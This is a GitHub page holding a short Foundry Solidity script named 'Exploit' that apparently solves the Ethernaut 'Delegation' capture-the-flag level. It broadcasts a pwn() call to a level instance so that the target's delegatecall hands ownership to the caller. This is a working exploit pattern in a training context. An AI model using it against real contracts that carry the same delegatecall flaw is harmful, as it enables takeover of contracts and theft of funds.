-
Notifications
You must be signed in to change notification settings - Fork 0
/
Level6.s.sol
28 lines (22 loc) · 871 Bytes
/
Level6.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
interface IDelegate {
function pwn() external;
}
// ================================================================
// │ LEVEL 6 - DELEGATION │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IDelegate targetContract = IDelegate(targetContractAddress);
vm.startBroadcast();
// Using interface:
targetContract.pwn();
// Without interface:
// targetContractAddress.call(abi.encodeWithSignature("pwn()"));
vm.stopBroadcast();
}
}